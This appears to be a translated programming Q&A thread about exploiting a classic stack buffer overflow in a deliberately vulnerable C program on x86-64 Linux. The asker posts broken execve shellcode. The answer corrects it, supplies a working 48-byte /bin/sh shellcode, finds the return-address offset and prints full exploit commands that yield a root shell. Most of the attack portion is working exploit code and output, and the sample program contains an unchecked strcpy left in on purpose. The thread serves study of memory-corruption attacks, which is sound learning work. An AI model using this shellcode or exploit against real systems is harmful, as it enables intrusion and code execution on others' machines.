Security - Syscall inside shellcode does not run

Asked

Viewed 462 times

16

I’m studying information security and doing experiments trying to exploit a classic case of buffer overflow.

I succeeded in creating the shellcode, in its injection into the code and its execution, the problem is that a syscall for an execve() within the shellcode simply does not succeed.

In detail:

This is the vulnerable program code (it was compiled on Ubuntu 15.04 x86-64, with gcc flags: "-fno-stack-protector -z execstack -g" and ASLR turned off):

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];

    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

This is a small Assembly program that runs a shell with an execve() system call and then ends with an Exit().Note that this code works independently. This is: If compiled and linked independently, it works smoothly.

 global _start

 section .text
_start:
     jmp short push_shell
starter:
     pop rdi
    mov al, 59
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    syscall
    xor al, al
    mov BYTE [rdi], al
    mov al, 60
    syscall
push_shell:
    call starter
shell:
    db  "/bin/sh"

This is the exit of a objdump -d -m intel with the binary of the above code, which is where I extracted the shellcode:

spawn_shell.o: formato do arquivo elf64-x86-64


Desmontagem da seção .text:

0000000000000000 <_start>:
   0:   eb 16                   jmp    18 <push_shell>

0000000000000002 <starter>:
   2:   5f                      pop    rdi
   3:   b0 3b                   mov    al,0x3b
   5:   48 31 f6                xor    rsi,rsi
   8:   48 31 d2                xor    rdx,rdx
   b:   48 31 c9                xor    rcx,rcx
   e:   0f 05                   syscall 
  10:   30 c0                   xor    al,al
  12:   88 07                   mov    BYTE PTR [rdi],al
  14:   b0 3c                   mov    al,0x3c
  16:   0f 05                   syscall 

0000000000000018 <push_shell>:
  18:   e8 e5 ff ff ff          call   2 <starter>

000000000000001d <shell>:
  1d:   2f                      (bad)  
  1e:   62                      (bad)  
  1f:   69                      .byte 0x69
  20:   6e                      outs   dx,BYTE PTR ds:[rsi]
  21:   2f                      (bad)  
  22:   73 68                   jae    8c <shell+0x6f>

This command would be the payload proper: The one that injects the shellcode into the program along with the return address that will override the original return address:

ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

To date, I have already debugged my vulnerable program with the carefully injected shellcode, observing the increment of the RIP logger, observing the content of what it points to and checking this content with the opcodes of my shellcode, found the following:

  • The return address is overwritten by provided by me on the payload correctly and the execution jumps to my shellcode.
  • The execution usually happens until the "16:" of the Assembly code above, where the system call happens.
  • The system call simply does not happen, even with all the registers correctly configured for the system call. Strangely, after the system call, the RAX and RCX registers get all set bits.

The result is that since the system call didn’t happen, the jump code snippet runs again, which makes the execution jump to the beginning of my shellcode (skipping all Nops), which makes it keep putting the address of "/bin/sh" on the stack continuously until the program crashes and ends in SEGFAULT.

In short, the main problem is this: The syscall within my shellcode does not run and the exploit does not work, but the syscall within a program in Assembly independently works smoothly.

Some other notes:

  • Some would say I have to finish my string with a null byte. But it seems that this is not necessary since my program in Assembly gets a shell even without finishing the string. And I already tried another payload on my vulnerable program with a simple Exit() and the same happens.

  • Remember that this is a vulnerable program compiled for AMD64.

What’s wrong with my shellcode?

1 answer

13


Remembering and brushing the bits, I noticed that the spawn_shell.asm has problems initializing some registers and ensure that you found the exact return address, right away you could see an error (maybe typing) between your shellcode and your Assembly dump:

Piece Dump Assembly:

  0:   eb 16                   jmp    18 <push_shell>

Beginning of your shellcode:

\xeb\x13

For me it should be \xeb\x16,

Same error happens on line 18:

 18:   e8 e5 ff ff ff          call   2 <starter>

In your Shellcode is:

\xe8\xe8\xff\xff\xff\

Should be \xe8\xe5\xff\xff\xff\

The line b: neither was converted to hexa "you passed beaten by her"

 b:   48 31 c9                xor    rcx,rcx

Meaning your shellcode has many flaws, this is a serious problem.

but regardless of that let’s try to explore your code!

Ubuntu 64bits:

root@eder-virtual-machine:~# uname -a
Linux eder-virtual-machine 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

Pure ASM that runs a shell (/bin/sh), I’m using a different one than yours because this one I’m sure works in 64bits:

root@eder-virtual-machine:~# cat t.asm
xor rdx, rdx
xor rsi, rsi
mov rdi, 0x1168732f6e69622f
shl rdi, 0x8
shr rdi, 0x8
push rdi
mov rdi, rsp
mov rax, 0x111111111111113b
shl rax, 0x38
shr rax, 0x38
syscall

Compile, link and generate dump:

root@eder-virtual-machine:~# nasm -f elf64 t.asm
root@eder-virtual-machine:~# ld -o shellcode t.o
root@eder-virtual-machine:~# objdump -d shellcode

shellcode:     file format elf64-x86-64


Disassembly of section .text:

0000000000400080 <__bss_start-0x200f80>:
  400080:       48 31 d2                xor    %rdx,%rdx
  400083:       48 31 f6                xor    %rsi,%rsi
  400086:       48 bf 2f 62 69 6e 2f    movabs $0x1168732f6e69622f,%rdi
  40008d:       73 68 11
  400090:       48 c1 e7 08             shl    $0x8,%rdi
  400094:       48 c1 ef 08             shr    $0x8,%rdi
  400098:       57                      push   %rdi
  400099:       48 89 e7                mov    %rsp,%rdi
  40009c:       48 b8 3b 11 11 11 11    movabs $0x111111111111113b,%rax
  4000a3:       11 11 11
  4000a6:       48 c1 e0 38             shl    $0x38,%rax
  4000aa:       48 c1 e8 38             shr    $0x38,%rax
  4000ae:       0f 05                   syscall

We have a shellcode ready to run in 64btis:

"\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05"

OK, I inserted an extra printf into your code to help me figure out the return address (laziness of using the gdb).

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

int do_bof(char *exploit) {
    char buf[128];
    printf("%p\n", exploit);
    strcpy(buf, exploit);
    return 1;
}

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;
    }

    do_bof(argv[1]);
    puts("Failed to exploit.");
    return 0;
}

Compiling the code:

root@eder-virtual-machine:~#gcc -m64 bugado.c -o bugado -z execstack -fno-stack-protector

I used a -m64 to really ensure compilation in 64 bits, Cool you set a size buffer 128, let’s see how big things start to get complicated, laziness to go in gdb again, I’ll try to find the value in the arm:

root@eder-virtual-machine:~# ./bugado $(python -c 'print  "A" * 128')
0x7fffffffe8f8
Failed to exploit.

No dump yet OK!

root@eder-virtual-machine:~# ./bugado $(python -c 'print  "A" * 129')
0x7fffffffe8f7
Failed to exploit.
Segmentation fault (core dumped)

Size 129 already gave Segmentation fault, but the printf message "failed to exploit." remains firm there, we are not yet at the right point. continued up to the size 136:

root@eder-virtual-machine:~# ./bugado $(python -c 'print  "A" * 136')
0x7fffffffe8f0
Segmentation fault (core dumped)

Actually here seems to be the critical point, with 136 bytes, 8 bytes more of buffer size and return address on 0x7fffffffe8f0.

My shellcode has 48 Bytes, I hope you have calculated correctly there, for my shellcode the calculation would be 136-48 = 88 bytes you will need to fill with garbage + return address!

root@eder-virtual-machine:~# ./bugado $(python -c 'print "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05" + "A" * 88 + "\x7f\xff\xff\xff\xe8\xf0"[::-1]')
0x7fffffffe8ea
Segmentation fault (core dumped)

Not yet, but look where the return address is now 0x7fffffffe8ea

The address always seems to be value of the first return address menos 6, in this case a way to get to the correct address would be:

root@eder-virtual-machine:~# printf "%X\n" $((0x7fffffffe8f0 - 6))
7FFFFFFFE8EA

Trying with the corrected return address:

root@eder-virtual-machine:~# ./bugado $(python -c 'print "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05" + "A" * 88 + "\x7f\xff\xff\xff\xe8\xea"[::-1]')
0x7fffffffe8ea
#

Now yes the buffer overflow for your code was executed without major problems, tip, check carefully if the return address is correct, you realized that after injecting the code the first found return address had to have an adjustment, if you are not at the correct address have no way to explore, I would look fondly at your asm registrars, an important point is that your shellcode does not match the hexa address shown, looking at your playload well say that your shellcode has 33 bytes and you added 103 Nops before injecting the shellcode + return address (remember your shellcode is missing line and with some wrong hexadecimal codes, as pointing out above) this tells me that you found the same exploitable buffer size as it was 136 = 103+33, the calculation for the exact holding position seems to be OK, looking from the outside it is impossible to tell if the return address shown by you is really the correct one, so as said your problem seems to really be your shellcode, can be both asm and hexa dump conversion with wrong number and line missing without conversion, no more hope to have helped !

Browser other questions tagged

You are not signed in. Login or sign up in order to post.